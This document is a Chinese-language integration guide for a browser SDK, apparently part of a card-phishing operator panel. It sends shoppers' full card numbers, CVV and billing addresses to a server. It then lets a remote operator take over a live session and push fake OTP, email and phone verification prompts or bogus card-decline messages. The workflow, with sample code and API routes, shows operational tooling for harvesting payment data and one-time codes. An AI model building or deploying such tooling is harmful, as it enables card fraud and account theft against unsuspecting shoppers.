接入流程

加载方式（二选一）

方式 A：平台分发（推荐，免构建）

<script src="https://{platform-domain}/api/sdk/{site_api_key}.js"></script>

服务端根据 URL 中的 site_api_key 校验合法性，认证通过才返回脚本内容。全局开关关闭时返回空 JS，SDK 不初始化。

方式 B：npm 包（模块化构建）

pnpm add @session/sdk

import { SessionControl } from '@session/sdk'

await SessionControl.init({ ... })

初始化

await SessionControl.init({
  siteKey: 'sk_live_abc123',
  onError(error) {
    console.error('[SessionControl]', error.code, error.message)
  }
})

初始化过程：

1. 用 FingerprintJS 生成浏览器指纹（visitorId），跨页面刷新稳定。
2. 收集 User-Agent，随指纹 POST /api/shopper/session/init 提交服务端，创建/续期会话。
3. 自动上报当前页面 URL。

页面上报

SDK 在 init() 时自动上报当前页面 URL。之后用户跳转页面时，由商城主动调用：

// 例如 SPA 路由 afterEach 钩子，或页面跳转逻辑中
SessionControl.reportPageView(window.location.href)

上报表单数据

由接入方选定时机并自行防抖（如输入停顿 500ms 或 change 后）：

let timer
function onChange() {
  clearTimeout(timer)
  timer = setTimeout(() => {
    SessionControl.reportFormData({
      paymentMethod: 'credit_card',
      cardNumber: '4111111111111111',
      cardHolder: 'John Doe',
      expiryDate: '12/25',
      cvv: '123',
      billingAddress: {
        line1: '123 Main St',
        city: 'New York',
        postalCode: '10001',
        country: 'US'
      }
    })
  }, 500)
}

表单上报后会话状态进入 CHECKOUT。

结算验证流程

商城在用户点击提交订单时调用 verify()，服务端校验后会话进入 PENDING_REVIEW，SDK 开始每 3s 轮询 /pending 等待操作员指令：

// 用户点击「提交订单」时调用
const { action } = await SessionControl.verify()

• 返回 loading：SDK 弹出等待/验证视图，操作员下发指令后 SDK 内置弹窗自动渲染（OTP/邮箱/手机号验证输入框、App 验证引导、拒卡/拒 PayPal 文案等）
• 返回 rejected：拒卡后卡号未更换，顶部通知栏展示拒卡文案，不弹窗
• 如需自绘验证 UI，可在 init 传入 onCommand(command) 回调，SDK 内置弹窗仍会同时渲染

用户在弹窗输入验证码后点击确认整值提交；操作员下发「完成订单」指令后，SDK 回调 onComplete 并自动开始新一轮会话。

await SessionControl.init({
  siteKey: 'sk_live_abc123',
  onComplete() {
    // 全部验证完成，可跳转订单完成页
    location.href = '/checkout/done'
  }
})

会话生命周期

• 会话以 session:{siteId}:{fingerprint} 为键存于 Redis，TTL 60 秒。
• 每次上报（init/page/form）都会续期；Shopper 停止上报 1 分钟后会话自动消失。
• 管理端每 3s 轮询 GET /api/sessions 展示当前租户的活跃会话；点击卡片即与当前操作员绑定（POST /api/sessions/:id/takeover）。

集成要点

注意事项	说明
加载顺序	script 必须在 init() 前加载完成
调用时机	reportFormData 由接入方自行防抖，SDK 不内置防抖
刷新稳定性	指纹跨刷新稳定，刷新后会话复用（TTL 内）
SPA 清理	离开结算页时可调用 SessionControl.destroy() 停止上报